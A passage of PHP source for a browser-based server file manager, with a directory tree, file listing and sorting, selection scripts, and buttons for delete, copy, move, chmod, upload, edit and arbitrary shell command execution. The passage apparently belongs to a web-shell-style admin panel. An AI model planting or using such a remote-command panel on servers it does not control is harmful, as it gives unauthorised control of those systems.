  793.            setflag = (flag)?1:0;
  794.            document.location.href='".$path_info["basename"]."?frame=2&setflag='+setflag+'&dir_atual=$dir_atual&ec_dir='+arg;
  795.        }
  796.        function go(arg) {
  797.            if (flag) {
  798.                parent.frame3.set_dir_dest(arg+'/');
  799.                flag = false;
  800.            } else {
  801.                parent.frame3.location.href='".$path_info["basename"]."?frame=3&dir_atual='+arg+'/';
  802.            }
  803.        }
  804.        function set_fm_root_atual(arg){
  805.            document.location.href='".$path_info["basename"]."?frame=2&set_fm_root_atual='+escape(arg);
  806.        }
  807.        function atualizar(){
  808.            document.location.href='".$path_info["basename"]."?frame=2';
  809.        }
  810.    //-->
  811.    </script>
  812.    ";
  813.     echo "<table bordercolor=ffffff  width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>\n";
  814.     echo "<form><tr valign=top height=10><td>";
  815.     if (!$islinux){
  816.         echo "<select name=drive onchange=\"set_fm_root_atual(this.value)\">";
  817.         $aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  818.         for($x=0;$x<strlen($aux);$x++){
  819.             if (strstr(strtoupper($fm_root_atual),$aux[$x].":/")) $is_sel="selected";
  820.             else $is_sel="";
  821.             echo "<option $is_sel value=\"".$aux[$x].":/\">".$aux[$x].":/";
  822.         }
  823.         echo "</select> ";
  824.     }
  825.     echo "<input type=button value=".et('Refresh')." onclick=\"atualizar()\"></tr></form>";
  826.     //if (!$islinux) $aux=substr($fm_root_atual,0,strlen($fm_root_atual)-1);
  827.     //else
  828.     $aux=$fm_root_atual;
  829.     echo "<tr valign=top><td>";
  830.             clearstatcache();
  831.             tree($aux,$aux,-1,0);
  832.     echo "</td></tr>";
  833.     echo "
  834.        <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\" target=\"_parent\">
  835.        <input type=hidden name=action value=1>
  836.        <tr>
  837.        <td height=10 colspan=2><input type=submit value=\"".et('Leave')."\">
  838.        </tr>
  839.        </form>
  840.    ";
  841.     echo "</table>\n";
  842.     echo "</body>\n</html>";
  843. }
  844. function getmicrotime(){
  845.    list($usec, $sec) = explode(" ", microtime());
  846.    return ((float)$usec + (float)$sec);
  847. }
  848. function dir_list_form() {
  849.     global $fm_root_atual,$dir_atual,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$is_reachable,$path_info,$fm_color;
  850.     $ti = getmicrotime();
  851.     clearstatcache();
  852.     $out = "<table bordercolor=ffffff  border=0 cellspacing=1 cellpadding=4 width=\"100%\" bgcolor=\"#000000\">\n";
  853.     if ($opdir = @opendir($dir_atual)) {
  854.         $entry_count = 0;
  855.         $file_count = 0;
  856.         $dir_count = 0;
  857.         $total_size = 0;
  858.         $uplink = "";
  859.         $entry_list = array();
  860.         $highlight_cols = 0;
  861.  
  862.         while ($file = readdir($opdir)) {
  863.           if (($file != ".")&&($file != "..")){
  864.             if (is_file($dir_atual.$file)){
  865.                 $ext = strtolower(strrchr($file,"."));
  866.                 $entry_list[$entry_count]["type"] = "file";
  867.                 // Função filetype() returns only "file"...
  868.                 $entry_list[$entry_count]["size"] = filesize($dir_atual.$file);
  869.                 $entry_list[$entry_count]["sizet"] = getsize($dir_atual.$file);
  870.                 if (strstr($ext,".")){
  871.                     $entry_list[$entry_count]["ext"] = $ext;
  872.                     $entry_list[$entry_count]["extt"] = $ext;
  873.                 } else {
  874.                     $entry_list[$entry_count]["ext"] = "";
  875.                     $entry_list[$entry_count]["extt"] = " ";
  876.                 }
  877.                 $file_count++;
  878.             } elseif (is_dir($dir_atual.$file)) {
  879.                 // Recursive directory size disabled
  880.                 // $entry_list[$entry_count]["size"] = total_size($dir_atual.$file);
  881.                 $entry_list[$entry_count]["size"] = 0;
  882.                 $entry_list[$entry_count]["sizet"] = 0;
  883.                 $entry_list[$entry_count]["type"] = "dir";
  884.                 $dir_count++;
  885.             }
  886.             $entry_list[$entry_count]["name"] = $file;
  887.             $entry_list[$entry_count]["date"] = date("Ymd", filemtime($dir_atual.$file));
  888.             $entry_list[$entry_count]["time"] = date("his", filemtime($dir_atual.$file));
  889.             $entry_list[$entry_count]["datet"] = date("d/m/Y h:i:s", filemtime($dir_atual.$file));
  890.             if ($islinux && $resolveIDs){
  891.                 $entry_list[$entry_count]["p"] = show_perms(fileperms($dir_atual.$file));
  892.                 $entry_list[$entry_count]["u"] = getuser(fileowner($dir_atual.$file));
  893.                 $entry_list[$entry_count]["g"] = getgroup(filegroup($dir_atual.$file));
  894.             } else {
  895.                 $entry_list[$entry_count]["p"] = base_convert(fileperms($dir_atual.$file),10,8);
  896.                 $entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3);
  897.                 $entry_list[$entry_count]["u"] = fileowner($dir_atual.$file);
  898.                 $entry_list[$entry_count]["g"] = filegroup($dir_atual.$file);
  899.             }
  900.             $total_size += $entry_list[$entry_count]["size"];
  901.             $entry_count++;
  902.           }
  903.         }
  904.         closedir($opdir);
  905.  
  906.         if ($file_count) $highlight_cols = ($islinux)?7:5;
  907.         else $highlight_cols = ($islinux)?6:4;
  908.  
  909.         if($entry_count){
  910.             $or1="1A";
  911.             $or2="2D";
  912.             $or3="3A";
  913.             $or4="4A";
  914.             $or5="5A";
  915.             $or6="6D";
  916.             $or7="7D";
  917.             switch($order_dir_list_by){
  918.                 case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break;
  919.                 case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break;
  920.                 case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break;
  921.                 case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break;
  922.                 case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break;
  923.                 case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break;
  924.                 case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break;
  925.                 case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break;
  926.                 case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break;
  927.                 case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break;
  928.                 case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break;
  929.                 case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break;
  930.                 case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break;
  931.                 case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break;
  932.             }
  933.         }
  934.         $out .= "
  935.        <script language=\"Javascript\" type=\"text/javascript\">
  936.        <!--
  937.        function getCookieVal (offset) {
  938.            var endstr = document.cookie.indexOf (';', offset);
  939.            if (endstr == -1) endstr = document.cookie.length;
  940.            return unescape(document.cookie.substring(offset, endstr));
  941.        }
  942.        function getCookie (name) {
  943.            var arg = name + '=';
  944.            var alen = arg.length;
  945.            var clen = document.cookie.length;
  946.            var i = 0;
  947.            while (i < clen) {
  948.                var j = i + alen;
  949.                if (document.cookie.substring(i, j) == arg) return getCookieVal (j);
  950.                i = document.cookie.indexOf(' ', i) + 1;
  951.                if (i == 0) break;
  952.            }
  953.            return null;
  954.        }
  955.        function setCookie (name, value) {
  956.            var argv = SetCookie.arguments;
  957.            var argc = SetCookie.arguments.length;
  958.            var expires = (argc > 2) ? argv[2] : null;
  959.            var path = (argc > 3) ? argv[3] : null;
  960.            var domain = (argc > 4) ? argv[4] : null;
  961.            var secure = (argc > 5) ? argv[5] : false;
  962.            document.cookie = name + '=' + escape (value) +
  963.            ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) +
  964.            ((path == null) ? '' : ('; path=' + path)) +
  965.            ((domain == null) ? '' : ('; domain=' + domain)) +
  966.            ((secure == true) ? '; secure' : '');
  967.        }
  968.        function delCookie (name) {
  969.            var exp = new Date();
  970.            exp.setTime (exp.getTime() - 1);
  971.            var cval = GetCookie (name);
  972.            document.cookie = name + '=' + cval + '; expires=' + exp.toGMTString();
  973.        }
  974.        function go(arg) {
  975.            document.location.href='".$path_info["basename"]."?frame=3&dir_atual=$dir_atual'+arg+'/';
  976.        }
  977.        function resolveIDs() {
  978.            document.location.href='".$path_info["basename"]."?frame=3&set_resolveIDs=1&dir_atual=$dir_atual';
  979.        }
  980.        var entry_list = new Array();
  981.        // Custom object constructor
  982.        function entry(name, type, size, selected){
  983.            this.name = name;
  984.            this.type = type;
  985.            this.size = size;
  986.            this.selected = false;
  987.        }
  988.        // Declare entry_list for selection procedures";
  989.         foreach ($entry_list as $i=>$data){
  990.             $out .= "\nentry_list['entry$i'] = new entry('".$data["name"]."', '".$data["type"]."', ".$data["size"].", false);";
  991.         }
  992.         $out .= "
  993.        // Select/Unselect Rows OnClick/OnMouseOver
  994.        var lastRows = new Array(null,null);
  995.        function selectEntry(Row, Action){
  996.            var MarkColor = '#".$fm_color['Mark']."';
  997.            var Cells = Row.getElementsByTagName('td');
  998.            if (multipleSelection){
  999.                // Avoid repeated onmouseover events from same Row ( cell transition )
  1000.                if (Row != lastRows[0]){
  1001.                    if (Action == 'over') {
  1002.                        if (entry_list[Row.id].selected){
  1003.                            if (entry_list[Row.id].type == 'dir') DefaultColor = '#".$fm_color['Dir']."';
  1004.                            else DefaultColor = '#".$fm_color['File']."';
  1005.                            if (unselect(entry_list[Row.id])) {
  1006.                                for (var c=0; c < ".(integer)$highlight_cols."; c++) {
  1007.                                    if (c == 0 && entry_list[Row.id].type=='file' && !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
  1008.                                    else Cells[c].style.backgroundColor = DefaultColor;
  1009.                                }
  1010.                            }
  1011.                            // Change the last Row when you change the movement orientation
  1012.                            if (lastRows[0] != null && lastRows[1] != null){
  1013.                                var LastRowID = lastRows[0].id;
  1014.                                var LastRowDefaultColor;
  1015.                                if (entry_list[LastRowID].type == 'dir') LastRowDefaultColor = '#".$fm_color['Dir']."';
  1016.                                else LastRowDefaultColor = '#".$fm_color['File']."';
  1017.                                if (Row.id == lastRows[1].id){
  1018.                                    var LastRowCells = lastRows[0].getElementsByTagName('td');
  1019.                                    if (unselect(entry_list[LastRowID])) {
  1020.                                        for (var c=0; c < ".(integer)$highlight_cols."; c++) {
  1021.                                            if (c == 0 && entry_list[LastRowID].type=='file' && !entry_list[LastRowID].selected) LastRowCells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
  1022.                                            else LastRowCells[c].style.backgroundColor = LastRowDefaultColor;
  1023.                                        }
  1024.                                    }
  1025.                                }
  1026.                            }
  1027.                        } else {
  1028.                            if (select(entry_list[Row.id])){
  1029.                                for (var c=0; c < ".(integer)$highlight_cols."; c++) {
  1030.                                    if (c == 0 && entry_list[Row.id].type=='file' && !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
  1031.                                    else Cells[c].style.backgroundColor = MarkColor;
  1032.                                }
  1033.                            }
  1034.                            // Change the last Row when you change the movement orientation
  1035.                            if (lastRows[0] != null && lastRows[1] != null){
  1036.                                var LastRowID = lastRows[0].id;
  1037.                                if (Row.id == lastRows[1].id){
  1038.                                    var LastRowCells = lastRows[0].getElementsByTagName('td');
  1039.                                    if (select(entry_list[LastRowID])) {
  1040.                                        for (var c=0; c < ".(integer)$highlight_cols."; c++) {
  1041.                                            if (c == 0 && entry_list[LastRowID].type=='file' && !entry_list[LastRowID].selected) LastRowCells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
  1042.                                            else LastRowCells[c].style.backgroundColor = MarkColor;
  1043.                                        }
  1044.                                    }
  1045.                                }
  1046.                            }
  1047.                        }
  1048.                        lastRows[1] = lastRows[0];
  1049.                        lastRows[0] = Row;
  1050.                    }
  1051.                }
  1052.            } else {
  1053.                if (Action == 'click') {
  1054.                    var newColor = null;
  1055.                    if (entry_list[Row.id].selected){
  1056.                        var DefaultColor;
  1057.                        if (entry_list[Row.id].type == 'dir') DefaultColor = '#".$fm_color['Dir']."';
  1058.                        else DefaultColor = '#".$fm_color['File']."';
  1059.                        if (unselect(entry_list[Row.id])) newColor = DefaultColor;
  1060.                    } else {
  1061.                        if (select(entry_list[Row.id])) newColor = MarkColor;
  1062.                    }
  1063.                    if (newColor) {
  1064.                        lastRows[0] = lastRows[1] = Row;
  1065.                        for (var c=0; c < ".(integer)$highlight_cols."; c++) {
  1066.                            if (c == 0 && entry_list[Row.id].type=='file' && !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#".$fm_color['FileFirstCell']."';
  1067.                            else Cells[c].style.backgroundColor = newColor;
  1068.                        }
  1069.                    }
  1070.                }
  1071.            }
  1072.            return true;
  1073.        }
  1074.        // Disable text selection and bind multiple selection flag
  1075.        var multipleSelection = false;
  1076.        if (is.ie) {
  1077.            document.onselectstart=new Function('return false');
  1078.            document.onmousedown=switch_flag_on;
  1079.            document.onmouseup=switch_flag_off;
  1080.            // Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure.
  1081.            window.onscroll=new Function('multipleSelection=false');
  1082.        } else {
  1083.            if (document.layers) window.captureEvents(Event.MOUSEDOWN);
  1084.            if (document.layers) window.captureEvents(Event.MOUSEUP);
  1085.            window.onmousedown=switch_flag_on;
  1086.            window.onmouseup=switch_flag_off;
  1087.        }
  1088.        // Using same function and a ternary operator couses bug on double click
  1089.        function switch_flag_on(e) {
  1090.            lastRows[0] = lastRows[1] = null;
  1091.            if (is.ie){
  1092.                multipleSelection = (event.button == 1);
  1093.            } else {
  1094.                multipleSelection = (e.which == 1);
  1095.            }
  1096.            return false;
  1097.        }
  1098.        function switch_flag_off(e) {
  1099.            if (is.ie){
  1100.                multipleSelection = (event.button != 1);
  1101.            } else {
  1102.                multipleSelection = (e.which != 1);
  1103.            }
  1104.            return false;
  1105.        }
  1106.        var total_dirs_selected = 0;
  1107.        var total_files_selected = 0;
  1108.        function unselect(Entry){
  1109.            if (!Entry.selected) return false;
  1110.            Entry.selected = false;
  1111.            sel_totalsize -= Entry.size;
  1112.            if (Entry.type == 'dir') total_dirs_selected--;
  1113.            else total_files_selected--;
  1114.            update_sel_status();
  1115.            return true;
  1116.        }
  1117.        function select(Entry){
  1118.            if(Entry.selected) return false;
  1119.            Entry.selected = true;
  1120.            sel_totalsize += Entry.size;
  1121.            if(Entry.type == 'dir') total_dirs_selected++;
  1122.            else total_files_selected++;
  1123.            update_sel_status();
  1124.            return true;
  1125.        }
  1126.        function is_anything_selected(){
  1127.            var selected_dir_list = new Array();
  1128.            var selected_file_list = new Array();
  1129.            for(var x=0;x<".(integer)count($entry_list).";x++){
  1130.                if(entry_list['entry'+x].selected){
  1131.                    if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name);
  1132.                    else selected_file_list.push(entry_list['entry'+x].name);
  1133.                }
  1134.            }
  1135.            document.form_action.selected_dir_list.value = selected_dir_list.join('<|*|>');
  1136.            document.form_action.selected_file_list.value = selected_file_list.join('<|*|>');
  1137.            return (total_dirs_selected>0 || total_files_selected>0);
  1138.        }
  1139.        function formatsize (arg) {
  1140.            var resul = '';
  1141.            if (arg>0){
  1142.                var j = 0;
  1143.                var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb');
  1144.                while (arg >= Math.pow(1024,j)) ++j;
  1145.                resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1];
  1146.            } else resul = '0 Mb';
  1147.            return resul;
  1148.        }
  1149.        var sel_totalsize = 0;
  1150.        function update_sel_status(){
  1151.            var t = total_dirs_selected+' ".et('Dir_s')." ".et('And')." '+total_files_selected+' ".et('File_s')." ".et('Selected_s')." = '+formatsize(sel_totalsize);
  1152.            document.getElementById(\"sel_status\").innerHTML = t;
  1153.        }
  1154.        // Select all/none/inverse
  1155.        function selectANI(Butt){
  1156.            var MarkColor = '#".$fm_color['Mark']."';
  1157.            for(var x=0;x<". (integer)count($entry_list).";x++){
  1158.                if (entry_list['entry'+x].type == 'dir'){
  1159.                    var DefaultColor = '#".$fm_color['Dir']."';
  1160.                } else {
  1161.                    var DefaultColor = '#".$fm_color['File']."';
  1162.                }
  1163.                var Row = document.getElementById('entry'+x);
  1164.                var Cells = Row.getElementsByTagName('td');
  1165.                var newColor = null;
  1166.                switch (Butt.value){
  1167.                    case '".et('SelAll')."':
  1168.                        if (select(entry_list[Row.id])) newColor = MarkColor;
  1169.                    break;
  1170.                    case '".et('SelNone')."':
  1171.                        if (unselect(entry_list[Row.id])) newColor = DefaultColor;
  1172.                    break;
  1173.                    case '".et('SelInverse')."':
  1174.                        if (entry_list[Row.id].selected){
  1175.                            if (unselect(entry_list[Row.id])) newColor = DefaultColor;
  1176.                        } else {
  1177.                            if (select(entry_list[Row.id])) newColor = MarkColor;
  1178.                        }
  1179.                    break;
  1180.                }
  1181.                if (newColor) {
  1182.                    for (var c=0; c < ".(integer)$highlight_cols."; c++) {
  1183.                        if (entry_list[Row.id].type=='file' && c==0 && !entry_list[Row.id].selected) Cells[c].style.backgroundColor = '#". $fm_color['FileFirstCell']."';
  1184.                        else Cells[c].style.backgroundColor = newColor;
  1185.                    }
  1186.                }
  1187.            }
  1188.            if (Butt.value == '".et('SelAll')."'){
  1189.                Butt.value = '".et('SelNone')."';
  1190.            } else if (Butt.value == '".et('SelNone')."'){
  1191.                Butt.value = '".et('SelAll')."';
  1192.            }
  1193.            return true;
  1194.        }
  1195.        function download(arg){
  1196.                parent.frame1.location.href='".$path_info["basename"]."?action=3&dir_atual=$dir_atual&filename='+escape(arg);
  1197.        }
  1198.  
  1199.        function execute(){
  1200.                document.form_action.cmd_arg.value = prompt('".et('TypeCmd').".');
  1201.                if(document.form_action.cmd_arg.value.length>0){
  1202.                    if(confirm('".et('ConfExec')." \\' '+document.form_action.cmd_arg.value+' \\' ?')) {
  1203.                        var w = 800;
  1204.                        var h = 600;
  1205.                        window.open('".$path_info["basename"]."?action=6&dir_atual=$dir_atual&cmd='+escape(document.form_action.cmd_arg.value), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
  1206.                    }
  1207.                }
  1208.        }
  1209.        function decompress(arg){
  1210.                if(confirm('".strtoupper(et('Decompress'))." \\' '+arg+' \\' ?')) {
  1211.                    document.form_action.action.value = 72;
  1212.                    document.form_action.cmd_arg.value = arg;
  1213.                    document.form_action.submit();
  1214.                }
  1215.        }
  1216.        function edit_file(arg){
  1217.                var w = 800;
  1218.                var h = 600;
  1219.                if(confirm('".strtoupper(et('Edit'))." \\' '+arg+' \\' ?')) window.open('".$path_info["basename"]."?action=7&dir_atual=$dir_atual&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
  1220.        }
  1221.      
  1222.        function tools(){
  1223.                var w = 900;
  1224.                var h = 75;
  1225.                window.open('".$path_info["basename"]."?action=11', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
  1226.        }
  1227.        
  1228.        function view(arg){
  1229.                var w = 800;
  1230.                var h = 600;
  1231.                if(confirm('".strtoupper(et('View'))." \\' '+arg+' \\' ?')) window.open('".$path_info["basename"]."?action=4&dir_atual=$dir_atual&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=no,menubar=no,location=yes');
  1232.        }
  1233.        function rename(arg){
  1234.                var nome = '';
  1235.                if (nome = prompt('".strtoupper(et('Ren'))." \\' '+arg+' \\' ".et('To')." ...')) document.location.href='".$path_info["basename"]."?frame=3&action=3&dir_atual=$dir_atual&old_name='+escape(arg)+'&new_name='+escape(nome);
  1236.        }
  1237.        function set_dir_dest(arg){
  1238.            document.form_action.dir_dest.value=arg;
  1239.            if (document.form_action.action.value.length>0) test(document.form_action.action.value);
  1240.            else alert('".et('JSError').".');
  1241.        }
  1242.        function sel_dir(arg){
  1243.            document.form_action.action.value = arg;
  1244.            document.form_action.dir_dest.value='';
  1245.            if (!is_anything_selected()) alert('".et('NoSel').".');
  1246.            else {
  1247.                if (!getCookie('sel_dir_warn')) {
  1248.                    alert('".et('SelDir').".');
  1249.                    document.cookie='sel_dir_warn'+'='+escape('true')+';';
  1250.                }
  1251.                parent.frame2.set_flag(true);
  1252.            }
  1253.        }
  1254.        function set_chmod_arg(arg){
  1255.            document.form_action.chmod_arg.value=arg;
  1256.            if (document.form_action.action.value.length>0) test(document.form_action.action.value);
  1257.            else alert('".et('JSError')."');
  1258.        }
  1259.        function chmod(arg){
  1260.            document.form_action.action.value = arg;
  1261.            document.form_action.dir_dest.value='';
  1262.            document.form_action.chmod_arg.value='';
  1263.            if (!is_anything_selected()) alert('".et('NoSel').".');
  1264.            else {
  1265.                var w = 280;
  1266.                var h = 180;
  1267.                window.open('".$path_info["basename"]."?action=8', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
  1268.            }
  1269.        }
  1270.        function test_action(){
  1271.            if (document.form_action.action.value != 0) return true;
  1272.            else return false;
  1273.        }
  1274.        function test_prompt(arg){
  1275.                var erro='';
  1276.                var conf='';
  1277.                if (arg == 1){
  1278.                    document.form_action.cmd_arg.value = prompt('".et('TypeDir').".');
  1279.                } else if (arg == 2){
  1280.                    document.form_action.cmd_arg.value = prompt('".et('TypeArq').".');
  1281.                } else if (arg == 71){
  1282.                    if (!is_anything_selected()) erro = '".et('NoSel').".';
  1283.                    else document.form_action.cmd_arg.value = prompt('".et('TypeArqComp')."');
  1284.                }
  1285.                if (erro!=''){
  1286.                    document.form_action.cmd_arg.focus();
  1287.                    alert(erro);
  1288.                } else if(document.form_action.cmd_arg.value.length>0) {
  1289.                    document.form_action.action.value = arg;
  1290.                    document.form_action.submit();
  1291.                }
  1292.        }
  1293.        function strstr(haystack,needle){
  1294.            var index = haystack.indexOf(needle);
  1295.            return (index==-1)?false:index;
  1296.        }
  1297.        function valid_dest(dest,orig){
  1298.            return (strstr(dest,orig)==false)?true:false;
  1299.        }
  1300.        // ArrayAlert - Selection debug only
  1301.        function aa(){
  1302.            var str = 'selected_dir_list:\\n';
  1303.            for (x=0;x<selected_dir_list.length;x++){
  1304.                str += selected_dir_list[x]+'\\n';
  1305.            }
  1306.            str += '\\nselected_file_list:\\n';
  1307.            for (x=0;x<selected_file_list.length;x++){
  1308.                str += selected_file_list[x]+'\\n';
  1309.            }
  1310.            alert(str);
  1311.        }
  1312.        function test(arg){
  1313.                var erro='';
  1314.                var conf='';
  1315.                if (arg == 4){
  1316.                    if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
  1317.                    conf = '".et('RemSel')." ?\\n';
  1318.                } else if (arg == 5){
  1319.                    if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
  1320.                    else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
  1321.                    else if(document.form_action.dir_dest.value == document.form_action.dir_atual.value) erro = '".et('DestEqOrig').".';
  1322.                    else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.dir_atual.value)) erro = '".et('InvalidDest').".';
  1323.                    conf = '".et('CopyTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
  1324.                } else if (arg == 6){
  1325.                    if (!is_anything_selected()) erro = '".et('NoSel').".';
  1326.                    else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
  1327.                    else if(document.form_action.dir_dest.value == document.form_action.dir_atual.value) erro = '".et('DestEqOrig').".';
  1328.                    else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.dir_atual.value)) erro = '".et('InvalidDest').".';
  1329.                    conf = '".et('MoveTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
  1330.                } else if (arg == 9){
  1331.                    if (!is_anything_selected()) erro = '".et('NoSel').".';
  1332.                    else if(document.form_action.chmod_arg.value.length == 0) erro = '".et('NoNewPerm').".';
  1333.                    conf = '".et('AlterPermTo')." \\' '+document.form_action.chmod_arg.value+' \\' ?\\n';
  1334.                }
  1335.                if (erro!=''){
  1336.                    document.form_action.cmd_arg.focus();
  1337.                    alert(erro);
  1338.                } else if(conf!='') {
  1339.                    if(confirm(conf)) {
  1340.                        document.form_action.action.value = arg;
  1341.                        document.form_action.submit();
  1342.                    }
  1343.                } else {
  1344.                    document.form_action.action.value = arg;
  1345.                    document.form_action.submit();
  1346.                }
  1347.        }
  1348.        function upload(){
  1349.                var w = 400;
  1350.                var h = 200;
  1351.                window.open('".$path_info["basename"]."?action=10&dir_atual=$dir_atual', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
  1352.        }
  1353.        //-->
  1354.        
  1355.        </script>";
  1356.         $out .= "
  1357.        <form name=\"form_action\" action=\"".$path_info["basename"]."\" method=\"post\" onsubmit=\"return test_action();\">
  1358.            <input type=hidden name=\"frame\" value=3>
  1359.            <input type=hidden name=\"action\" value=0>
  1360.            <input type=hidden name=\"dir_dest\" value=\"\">
  1361.            <input type=hidden name=\"chmod_arg\" value=\"\">
  1362.            <input type=hidden name=\"cmd_arg\" value=\"\">
  1363.            <input type=hidden name=\"dir_atual\" value=\"$dir_atual\">
  1364.            <input type=hidden name=\"dir_antes\" value=\"$dir_antes\">
  1365.            <input type=hidden name=\"selected_dir_list\" value=\"\">
  1366.            <input type=hidden name=\"selected_file_list\" value=\"\">";
  1367.         $out .= "
  1368.            <tr>
  1369.            <td bgcolor=\"#000000\" colspan=20><nobr>
  1370.            <input type=button onclick=\"test_prompt(1)\" value=\"".et('CreateDir')."\">
  1371.            <input type=button onclick=\"test_prompt(2)\" value=\"".et('CreateArq')."\">
  1372.            <input type=button onclick=\"execute()\" value=\"".et('ExecCmd')."\">
  1373.            <input type=button onclick=\"tools()\" value=\"tools\">
  1374.            <input type=button onclick=\"upload()\" value=\"".et('Upload')."\">
  1375.            <b>$ip</b>
  1376.            
  1377.            <div id='example2'></div>
  1378.            </nobr>";
  1379.         if ($dir_atual != $fm_root_atual){
  1380.             $mat = explode("/",$dir_atual);
  1381.             $dir_antes = "";
  1382.             for($x=0;$x<(count($mat)-2);$x++) $dir_antes .= $mat[$x]."/";
  1383.             $uplink = "<a href=\"".$path_info["basename"]."?frame=3&dir_atual=$dir_antes\"><<</a> ";
  1384.         }
  1385.         if($entry_count){
  1386.             $out .= "
  1387.                <tr><td bgcolor=\"#000000\" colspan=20><nobr>$uplink <a href=\"".$path_info["basename"]."?frame=3&dir_atual=$dir_atual\">$dir_atual</a></nobr>
  1388.                <tr>
  1389.                <td bgcolor=\"#000000\" colspan=20><nobr>
  1390.                      <input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelAll')."\">
  1391.                      <input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
  1392.                      <input type=\"button\" style=\"width:60\" onclick=\"test(4)\" value=\"".et('Rem')."\">
  1393.                      <input type=\"button\" style=\"width:60\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
  1394.                      <input type=\"button\" style=\"width:60\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
  1395.                      <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
  1396.             if ($islinux) $out .= "
  1397.                      <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
  1398.             $out .= "
  1399.                      <input type=\"button\" style=\"width:100\" onclick=\"chmod(9)\" value=\"".et('Perms')."\">";
  1400.             $out .= "
  1401.                </nobr>
  1402.                <tr><td bgcolor=\"#000000\" colspan=20><DIV ID=\"sel_status\"></DIV></td></tr>";
  1403.             $dir_out="";
  1404.             $file_out="";
  1405.             foreach ($entry_list as $ind=>$dir_entry) {
  1406.                  $file = $dir_entry["name"];
  1407.                  if ($dir_entry["type"]=="dir"){
  1408.                      $dir_out .= "
  1409.                                 <tr ID=\"entry$ind\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
